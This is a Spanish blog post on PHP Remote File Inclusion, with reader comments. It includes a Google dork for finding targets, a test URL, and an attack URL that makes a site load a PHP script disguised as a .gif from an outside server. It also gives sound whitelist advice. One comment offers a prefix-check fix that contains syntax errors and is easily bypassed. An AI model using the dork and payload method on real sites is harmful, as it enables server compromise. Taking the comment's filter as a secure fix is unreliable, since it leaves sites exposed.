Remote File Inclusion

Vamos a explicar en que consiste este fallo de seguridad.

Esta vulnerabilidad permite incluir archivos remotos desde otros servidores en paginas que tengan algo asi como:

www.tusitio.com/index.php?seccion=pagina.php

Para buscar en google este tipo de fallos deberíamos poner algo así : allinurl: index.php?*=*

Pero como creo que google está filtrando este tipo de búsquedas otra opción sería buscar: allinurl: index.php?page=inicio.php o cualquier cosa que se nos ocurra.

Una vez localizada la página se puede probar la vulnerabilidad incluyendo por ejemplo una página externa. Sería asi:

http://www.tuweb.com/index.php?seccion=http://www.google.es

Si vemos que la página de google aparece dentro de la web, entonces quiere decir que estamos ante una web vulnerable a éste fallo. Sólo bastaría con sustituir google con un fichero conteniendo un script programado en php, perl… pero con una extensión .gif, .jpg o .txt para que no se ejecute en el servidor externo y que contenga codigos que podamos ejecutar en el servidor. Podéis obtener una idea en Ejecutar comandos shell mediante php.

Cómo evitar este fallo:
He observado que más de una web programan sus menús de ésta manera:

dentro del código php: include (”seccion”) o bien include (”seccion.php”) y ése fichero será el contenido o sección dentro de la estructura principal del sitio web.

Donde nosotros navegaremos por la web tal como: http://www.tusitio.com/index.php?seccion=fichero.php o bien http://www.tusitio.com/index.php?seccion=fichero

Bien, pues ésto es totalmente vulnerable a éste fallo, así que una recomendación sería usar cases y definir las opciones para que nadie pueda incluir ningún otro fichero que no sea el definido por nuestro menú de opciones.

Nota: Publicamos este artículo como recomendación de seguridad, por supuesto se puede escribir un código para entrar en una máquina y hackearla. Nosotros no pretendemos promover el uso del hacking así que no se contestará ninguna duda sobre ese tema.

4 comentarios en “Remote File Inclusion”

  1. Charly PR: 0dijo:

    Hola interesante artículo, podrías dar un ejemplo concreto de como reemplazar “include” ya que tengo un script que utiliza include(*lalala.php*) para mostrar un enlace aleatorio.

    Gracias

  2. DeiMoS PR: 2dijo:

    Debes usar la función rand() de php. Para ponerlo en práctica debes meter en un array el listado de enlaces y llamarlo con dicha función, ésta te devolverá un enlace aleatorio. De todos modos hay muchos ejemplos ya hechos y una buena herramienta para encontrarlos es Google ;)

  3. lopongoaca PR: 0dijo:

    Yo tuve un problema con esta vulnerabilidad en estos dias, sencillamente lo que hice fue algo asi:

    el enlace era de tipo: www.mipagina.com/intro.php?cargar=intro

    dado que para cargar el script desde un servidor externo se debe poner de la forma http://www.servidor.com/script/elescript.gif, el enlace vulnerable de mi pagina quedaria

    www.mipagina.com/intro.php?cargar=http://www.servidor.com/script/elescript.gif

    por lo cual dentro del codigo hice esto:

    $nuevocargar = substr($cargar,0,4) //esta contiene los 3 primeros caracteres de la variable

    if ($nuevocargar != ‘http’)
    {
    include (’intro.php’)}
    else
    {
    echo “Bastardo que intentas hacer con mi pagina”)
    }

    fue algo muy simple y bastante efectivo, espero les sirva.

  4. DeiMoS PR: 2dijo:

    Muy bueno!!! es un buen método, pero también está el limitar que solo se puedan incluir ciertas paginas creando un grupo de opciones en un switch

Deja tu comentario

XHTML: Puedes usar las etiquetas: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <code> <em> <i> <strike> <strong>